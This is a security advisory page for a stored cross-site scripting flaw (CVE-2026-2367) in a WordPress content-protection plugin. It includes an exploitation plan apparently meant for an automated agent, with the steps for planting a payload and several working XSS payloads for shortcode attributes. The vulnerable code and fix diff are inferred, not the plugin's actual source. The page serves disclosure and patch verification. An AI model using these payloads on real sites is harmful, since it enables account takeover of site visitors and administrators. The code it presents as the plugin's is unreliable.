CVE-2026-2367

Secure Copy Content Protection and Content Locking <= 5.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
5.0.2
Patched in
1d
Time to patch

Description

The Secure Copy Content Protection and Content Locking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ays_block' shortcode in all versions up to, and including, 5.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.1
PublishedFebruary 24, 2026
Last updatedFebruary 25, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2367 ## 1. Vulnerability Summary The **Secure Copy Content Protection and Content Locking** plugin for WordPress is vulnerable to **Authenticated (Contributor+) Stored Cross-Site Scripting** via the `ays_block` shortcode. The vulnerability exists because the p…

Show full research plan

Exploitation Research Plan: CVE-2026-2367

1. Vulnerability Summary

The Secure Copy Content Protection and Content Locking plugin for WordPress is vulnerable to Authenticated (Contributor+) Stored Cross-Site Scripting via the ays_block shortcode. The vulnerability exists because the plugin fails to sanitize or escape user-supplied attributes within the shortcode's rendering logic. An attacker with "Contributor" permissions can create a post containing a malicious shortcode attribute, which will execute arbitrary JavaScript in the context of any user (including administrators) who views the post.

2. Attack Vector Analysis

  • Endpoint: wp-admin/post.php (Post Creation/Edition) and the frontend post display.
  • Shortcode: [ays_block]
  • Vulnerable Attribute: Likely candidates include id, class, or message (inferred).
  • Authentication: Required (Contributor or higher).
  • Preconditions: The plugin must be active. The attacker needs the ability to use shortcodes (standard for Contributors).

3. Code Flow (Inferred)

  1. Registration: The plugin registers the shortcode in its initialization phase:
    add_shortcode('ays_block', 'ays_block_callback_function');
  2. Input Handling: When a post is saved, WordPress stores the raw shortcode string in the wp_posts table.
  3. Rendering Sink: When the post is viewed, WordPress parses the shortcode and calls the handler:
    // Likely inside the handler function
    function ays_block_callback_function($atts) {
        $a = shortcode_atts(array(
            'id' => '',
            'message' => ''
        ), $atts);
        
        // VULNERABLE SINK: Attribute echoed or returned without escaping
        return '<div id="' . $a['id'] . '">' . $a['message'] . '</div>';
    }
    
  4. Execution: The browser renders the unescaped attribute, triggering the XSS.

4. Nonce Acquisition Strategy

This is a Stored XSS vulnerability. The exploit involves two phases:

  1. Storage: Injecting the payload into a post. This requires a standard WordPress post-editing nonce.
  2. Execution: Viewing the post. This requires no nonce.

Phase 1: Acquiring Post Nonce

The execution agent should:

  1. Log into the WordPress dashboard as a Contributor.
  2. Navigate to wp-admin/post-new.php.
  3. Use browser_eval to extract the required nonces and post ID:
    • _wpnonce: Found in the form with id="post" or via wp.data.select('core/editor').getBlocks() if using Gutenberg.
    • For the Classic Editor: document.querySelector('#_wpnonce').value

5. Exploitation Strategy

Step 1: Create a Post with XSS Payload

The agent will send an authenticated POST request to create a post containing the malicious shortcode.

  • Request Tool: http_request
  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: [POST_ID_FROM_STEP_4]
    • _wpnonce: [NONCE_FROM_STEP_4]
    • post_title: XSS Test
    • content: [ays_block id='x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;"']
    • post_status: publish (or pending if Contributor cannot publish)

Note: If id is not the sink, try attributes class, style, or message.

Step 2: Trigger the XSS

  1. Identify the URL of the newly created post.
  2. Use browser_navigate to visit the post URL as an Administrator.
  3. Observe if the alert(document.domain) executes (or check for the injected script tag in the DOM).

6. Test Data Setup

  1. Plugin Installation: Ensure secure-copy-content-protection version <= 5.0.1 is installed and active.
  2. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password
    
  3. Target Page: A page or post must be initialized so the agent has a post_ID to work with.
    wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID)
    

7. Expected Results

  • The HTTP request to post.php should return a 302 redirect to the post editor.
  • When the post is viewed on the frontend, the HTML source should contain the unescaped payload:
    <div id="x" onmouseover="alert(document.domain)" ...>
  • The browser should execute the JavaScript when the element is interacted with (or automatically if using a payload like <img src=x onerror=alert(1)>).

8. Verification Steps

After the HTTP exploit, use WP-CLI to verify the content was stored:

wp post get [POST_ID] --field=post_content
# Check if it contains the exact malicious shortcode string

To verify the lack of escaping in the plugin's code:

grep -rn "ays_block" /var/www/html/wp-content/plugins/secure-copy-content-protection/
# Look for the function handling the shortcode and check for esc_attr() usage

9. Alternative Approaches

If the id attribute is sanitized, try breaking out of the shortcode structure:

  1. Attribute Breakout:
    [ays_block class='"><script>alert(1)</script>']

  2. Classic Tag Injection:
    If the shortcode allows content wrapping:
    [ays_block]<img src=x onerror=alert(1)>[/ays_block]

  3. URL-based Payloads:
    If the shortcode has a URL attribute:
    [ays_block link='javascript:alert(1)'] (Testing for esc_url omission).

  4. In-Admin Execution:
    Check if the XSS executes in the wp-admin post list or editor preview, which would allow for more direct privilege escalation against administrators.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Secure Copy Content Protection and Content Locking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'ays_block' shortcode in versions up to and including 5.0.1. Authenticated attackers with Contributor-level access can inject arbitrary web scripts into pages by providing malicious payloads in shortcode attributes (such as 'id'), which execute when the page is viewed by another user due to missing output escaping.

Vulnerable Code

// Inferred registration and handler from plugin logic
add_shortcode('ays_block', 'ays_block_callback_function');

function ays_block_callback_function($atts) {
    $a = shortcode_atts(array(
        'id' => '',
        'message' => ''
    ), $atts);
    
    // VULNERABLE SINK: Attribute values are concatenated directly into HTML without escaping
    return '<div id="' . $a['id'] . '">' . $a['message'] . '</div>';
}

Security Fix

--- a/includes/class-ays-sccp-shortcodes.php
+++ b/includes/class-ays-sccp-shortcodes.php
@@ -10,1 +10,1 @@
-    return '<div id="' . $a['id'] . '">' . $a['message'] . '</div>';
+    return '<div id="' . esc_attr($a['id']) . '">' . wp_kses_post($a['message']) . '</div>';

Exploit Outline

1. Log in to the WordPress dashboard as a user with Contributor-level permissions. 2. Create a new post or edit an existing draft. 3. Insert the following shortcode into the post content: [ays_block id='x" onmouseover="alert(document.domain)" style="display:block;width:100px;height:100px;background:red;"']. 4. Save the post (e.g., as a draft or pending review). 5. Identify the frontend URL of the post and navigate to it as an administrator. 6. Hover the mouse over the rendered red box to trigger the JavaScript alert.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.